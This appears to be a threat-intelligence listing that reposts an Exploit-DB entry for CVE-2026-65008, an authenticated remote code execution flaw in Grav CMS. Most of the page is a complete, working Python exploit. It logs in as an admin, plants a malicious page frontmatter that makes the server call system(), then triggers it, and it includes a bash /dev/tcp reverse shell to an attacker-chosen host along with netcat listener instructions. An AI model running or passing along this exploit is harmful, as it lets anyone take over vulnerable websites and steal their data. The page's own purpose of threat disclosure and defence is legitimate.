Grav CMS 2.0.7 - RCE
Severity: criticalType: ExploitCVE-2026-65008
Grav CMS 2.0.7 - RCE
Indicators of Compromise
- exploit-code: #!/usr/bin/env python3 # Exploit Title: Grav CMS 2.0.7 - Remote Code Execution # Date: 2026-07-27 # Exploit Author: zer0dayf # Vendor Homepage: https://getgrav.org/ # Software Link: https://github.com/getgrav/grav # Version: Grav CMS < 2.0.7 # Tested on: Ubuntu 22.04 / PHP 8.2 # CVE : CVE-2026-65008 """ CVE-2026-65008 - Grav CMS < 2.0.7 Authenticated RCE via Blueprint::dynamicData() + arrayFilterRecursive trampoline Lab / authorized testing only. """ import argparse import re import sys import time from urllib.parse import urljoin import requests requests.packages.urllib3.disable_warnings() BANNER = r""" . * . * GRAVITY FAIL * . * _____ .-' '-. / RCE INSIDE \ | system(\"id\")| \ www-data / '-._______.-' CVE-2026-65008 | Blueprint went brrr """ class GravExploit: def __init__(self, base_url, username, password, verify=False): self.base_url = base_url.rstrip("/") self.username = username self.password = password self.session = requests.Session() self.session.verify = verify self.session.headers.update({ "User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36" }) self.nonce = None def login(self): print("[*] Logging in...") login_url = urljoin(self.base_url, "/admin") r = self.session.get(login_url, timeout=15) match = re.search(r'name=["\']login-nonce["\']\s+value=["\']([a-f0-9]+)["\']', r.text) if not match: print("[-] login-nonce not found") return False data = { "data[username]": self.username, "data[password]": self.password, "task": "login", "login-nonce": match.group(1) } r = self.session.post(login_url, data=data, allow_redirects=True, timeout=15) if "login-nonce" in r.text and "data[username]" in r.text: print("[-] Login failed") return False print("[+] Login successful") return True def get_admin_nonce(self): r = self.session.get(urljoin(self.base_url, "/admin"), timeout=15) patterns = [ r"admin_nonce:\s*['\"]([a-f0-9]+)['\"]", r"admin-nonce:([a-f0-9]+)", r'name=["\']admin-nonce["\']\s+value=["\']([a-f0-9]+)["\']', ] for pattern in patterns: match = re.search(pattern, r.text) if match: self.nonce = match.group(1) return True return False def plant(self, command, folder="rcepoc"): print(f"[*] Planting payload → {command[:70]}{'...' if len(command) > 70 else ''}") if not self.get_admin_nonce(): print("[-] Could not get admin-nonce") return False safe_cmd = command.replace("'", "'\\''") frontmatter = f"""forms: x: fields: y: type: text data-opts@: - 'Grav\\Common\\Utils::arrayFilterRecursive' - {{ '{safe_cmd}': 'x' }} - system""" data = { "task": "save", "admin-nonce": self.nonce, "form-nonce": self.nonce, "data[folder]": folder, "data[name]": "form", "data[title]": "RCE", "data[content]": "pwned", "data[frontmatter]": frontmatter } url = urljoin(self.base_url, f"/admin/pages/{folder}") r = self.session.post(url, data=data, timeout=15) if r.status_code not in (200, 302): print(f"[-] Plant failed (HTTP {r.status_code})") return False print("[+] Payload planted") return True def trigger(self, folder="rcepoc", timeout=8): print("[*] Triggering payload...") try: r = requests.get( urljoin(self.base_url, f"/{folder}"), timeout=timeout, verify=False ) return r.text, False # (body, timed_out) except requests.exceptions.ReadTimeout: return None, True # timed out = muhtemel shell except Exception as e: print(f"[-] Trigger error: {e}") return None, False def run_cmd(self, command, folder="rcepoc"): if not self.plant(command, folder): return None time.sleep(0.5) body, timed_out = self.trigger(folder, timeout=12) if timed_out: print("[!] Request timed out (command may still have run)") return body def reverse_shell(self, lhost, lport, folder="rcepoc"): payload = f'bash -c "bash -i >& /dev/tcp/{lhost}/{lport} 0>&1"' print(f"[*] Reverse shell target → {lhost}:{lport}") print(f"[!] Make sure listener is running: nc -lvnp {lport}") print(f"[*] Payload: {payload}") if not self.plant(payload, folder): print("[-] Failed to plant reverse shell payload") return False time.sleep(0.6) body, timed_out = self.trigger(folder, timeout=6) if timed_out: print("[+] Request timed out → reverse shell likely connected!") print("[+] Check your nc listener.") return True else: print("[-] Request finished without timeout.") print("[-] Reverse shell probably FAILED (listener empty?).") if body: # Komut çıktısı geldiyse göster (hata mesajı olabilir) snippet = body[:300].replace("\n", " ") print(f"[*] Response snippet: {snippet}") return False def main(): print(BANNER) parser = argparse.ArgumentParser(description="CVE-2026-65008 Grav CMS Authenticated RCE") parser.add_argument("-u", "--url", required=True, help="Target URL") parser.add_argument("-U", "--username", default="admin", help="Username") parser.add_argument("-P", "--password", required=True, help="Password") parser.add_argument("-c", "--command", default="id", help="Command to execute") parser.add_argument("--lhost", help="Reverse shell LHOST") parser.add_argument("--lport", type=int, default=4444, help="Reverse shell LPORT") parser.add_argument("--folder", default="rcepoc", help="Page folder name") parser.add_argument("--no-verify", action="store_true", help="Disable TLS verification") args = parser.parse_args() exploit = GravExploit(args.url, args.username, args.password, verify=not args.no_verify) if not exploit.login(): sys.exit(1) if args.lhost: ok = exploit.reverse_shell(args.lhost, args.lport, folder=args.folder) sys.exit(0 if ok else 1) output = exploit.run_cmd(args.command, folder=args.folder) if output: print("\n" + "=" * 60) for line in output.splitlines()[:20]: if line.strip() and not line.strip().startswith("<"): print(line) print("=" * 60) print("[+] Done") else: print("[-] No usable output") if __name__ == "__main__": main()
Grav CMS 2.0.7 - RCE
0
CriticalPublished: 09/01/2026 (09/01/2026, 00:00:00 UTC)
Source: Exploit-DB RSS Feed
Description
Grav CMS 2.0.7 - RCE
Technical Details
- Cve
- CVE-2026-65008
- Version
- Grav CMS < 2.0.7
- Author
- zer0dayf
- Platform
- Ubuntu 22.04 / PHP 8.2
- Edb Id
- 52669
- Has Exploit Code
- true
- Code Language
- python
Indicators of Compromise
Exploit Source Code
Exploit Code
Exploit code for Grav CMS 2.0.7 - RCE
#!/usr/bin/env python3 # Exploit Title: Grav CMS 2.0.7 - Remote Code Execution # Date: 2026-07-27 # Exploit Author: zer0dayf # Vendor Homepage: https://getgrav.org/ # Software Link: https://github.com/getgrav/grav # Version: Grav CMS < 2.0.7 # Tested on: Ubuntu 22.04 / PHP 8.2 # CVE : CVE-2026-65008 """ CVE-2026-65008 - Grav CMS < 2.0.7 Authenticated RCE via Blueprint::dynamicData() + arrayFilterRecursive trampoline Lab / authorized testing only. """ import argparse import re import sys imp... (6638 more characters)
Code Length: 7,138 characters
Threat ID: 6aaa2ad355bf5e2cf50e38cf
Added to database: 09/16/2026, 05:36:19 UTC
Last updated: 09/16/2026, 05:36:19 UTC
Views: 1
Community Reviews
0 reviewsCrowdsource mitigation strategies, share intel context, and vote on the most helpful responses. Sign in to add your voice and help keep defenders ahead.
Sort by
Loading community insights…
Want to contribute mitigation steps or threat intel context? Sign in or create an account to join the community discussion.
Actions
Please log in to the Console to use AI analysis features.
Need more coverage?
Upgrade to Pro Console for AI refresh and higher limits.
For incident response and remediation, OffSeq services can help resolve threats faster.
Latest Threats
Breach by OffSeqOFFSEQFRIENDS — 25% OFF
Check if your credentials are on the dark web
Instant breach scanning across billions of leaked records. Free tier available.
OffSeq TrainingCredly Certified
Lead Pen Test Professional
Technical5-day eLearningPECB Accredited